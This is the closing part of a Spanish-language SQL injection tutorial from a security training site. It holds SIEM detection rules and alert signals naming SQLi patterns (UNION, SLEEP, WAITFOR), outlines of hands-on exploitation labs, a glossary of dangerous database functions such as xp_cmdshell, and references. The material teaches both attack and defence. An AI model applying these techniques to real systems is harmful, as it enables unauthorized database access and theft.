{"match": {"event.outcome": "failure"}},
{"range": {"http.response.status_code": {"gte": 500, "lte": 599}}}
],
"minimum_should_match": 2
}
}
}
Señales de alerta prioritaria
Escalar inmediatamente cuando se detecta:
✓ Más de 20 requests con caracteres SQLi desde la misma IP en 60 segundos
✓ Respuestas HTTP 500 precedidas de requests con comillas o UNION
✓ Parámetros con SLEEP() o WAITFOR que coinciden con delays en tiempo de respuesta
✓ Requests hacia /admin, /api, o endpoints de autenticación con payloads SQLi
✓ User-Agent o headers con caracteres SQL (indica testing automatizado de headers)
15. Laboratorio en el Cyber Range
Los labs del Tomo 1 están en la ruta CP05 — SQL Injection Track:
Lab SQLi-F01: Detección manual — encontrar el parámetro vulnerable sin herramientas automáticas
Lab SQLi-F02: Error-Based SQLi — extraer versión, base de datos, tablas y columnas via mensajes de error
Lab SQLi-F03: Union-Based SQLi — determinación de columnas y extracción de credenciales
Lab SQLi-F04: Union-Based en API REST — el mismo ataque en un endpoint JSON
Lab SQLi-F05: Authentication Bypass — usar SQLi para acceder a una cuenta sin contraseña
Cada lab incluye:
- Entorno Docker aislado y efímero — tu instancia, sin interferencia de otros usuarios
- Tres niveles de dificultad: el lab base, una variante con WAF básico, y una variante sin mensajes de error
- Flag de confirmación al explotar exitosamente
- Writeup técnico completo disponible post-completar
- Reglas SIEM incluidas en el writeup — perspectiva ofensiva y defensiva en el mismo recurso
16. Lo que Viene en el Tomo 2
El Tomo 2 entra en el territorio donde la mayoría de hunters se rinde: cuando la aplicación no muestra errores ni resultados.
Blind SQL Injection — Boolean-Based y Time-Based:
- Por qué el comportamiento de la aplicación es suficiente para extraer datos bit a bit
- Construcción de payloads que hacen preguntas binarias a la base de datos
- Extracción automatizada con scripts personalizados — por qué escribir el tuyo propio es mejor que usar sqlmap en entornos con WAF
- Time-Based SQLi: cuando no hay diferencia en respuesta pero el tiempo no miente
- El problema del jitter de red y cómo compensarlo en mediciones de tiempo
- Caso real: Blind SQLi en el programa de bug bounty de una plataforma fintech LATAM — de la detección al reporte crítico
Glosario Técnico — Tomo 1
| Término | Definición |
|---|---|
| SQL Injection | Vulnerabilidad donde input del usuario altera la lógica de una consulta SQL |
| Concatenación de strings | Construir SQL uniendo cadenas de texto — el origen estructural del problema |
| Consulta parametrizada | Consulta donde estructura y datos están separados — la defensa correcta |
| In-Band SQLi | Variante donde el resultado viaja por el mismo canal HTTP del request |
| Error-Based SQLi | Explotación via mensajes de error que revelan información de la BD |
| Union-Based SQLi | Explotación via UNION SELECT que agrega filas al resultado visible |
| Blind SQLi | Variante donde no hay resultado visible — se infiere por comportamiento |
| information_schema | Base de datos del sistema que contiene metadatos de todas las tablas y columnas |
| LOAD_FILE() | Función MySQL para leer archivos del servidor — requiere FILE privilege |
| INTO OUTFILE | Cláusula MySQL para escribir el resultado de una consulta en un archivo |
| xp_cmdshell | Procedimiento almacenado de MSSQL para ejecutar comandos del SO |
| Prepared Statement | Consulta SQL pre-compilada donde los datos se pasan como parámetros separados |
| ORM | Object-Relational Mapper — abstracción que reduce pero no elimina el riesgo de SQLi |
| WAF | Web Application Firewall — filtro que puede detectar y bloquear payloads de SQLi |
| Tautología | Condición SQL que siempre es verdadera — 1=1, 'a'='a' |
Referencias Técnicas
- Hive Security — "SQL Injection 2026: Blind, Time-Based, ORM Bypass, and WAF Evasion" (Mayo 2026)
- CVE-2025-1094 — PostgreSQL improper handling of quoting syntax in psql (CVSS 8.1)
- Bugv Blog — "SQL Injection 2026: Still There, Still a Serious Problem" (Marzo 2026)
- OffensoAcademy — "SQL Injection in 2026: How It Works & Prevention Guide" (Junio 2026)
- YesWeHack — "SQL Injection for Bug Bounty Hunters" (Agosto 2025)
- CVE-2024-42005 — Django SQL Injection via .values() with JSON keys
- OWASP Testing Guide v4.2 — OTG-INPVAL-005: Testing for SQL Injection
- OWASP Top 10:2025 — A03: Injection
- CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
- MITRE ATT&CK — T1190: Exploit Public-Facing Application
¿Encontraste SQLi en un programa de bug bounty y quieres saber cómo escalarlo antes de reportar? Abre un thread en el Discord de TribuCibernetica con los detalles técnicos — la comunidad te da feedback antes de que envíes el reporte.
Leer Tomo 2: Blind SQLi - Boolean-Based y Time-Based
Practicar Labs SQLi-F01 al F05 en el Cyber Range
Unirse al Discord de TribuCibernetica
© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad autorizada. El uso de estas técnicas contra sistemas sin autorización explícita constituye un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones internacionales. TribuCibernetica no se hace responsable del uso indebido de la información aquí presentada. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.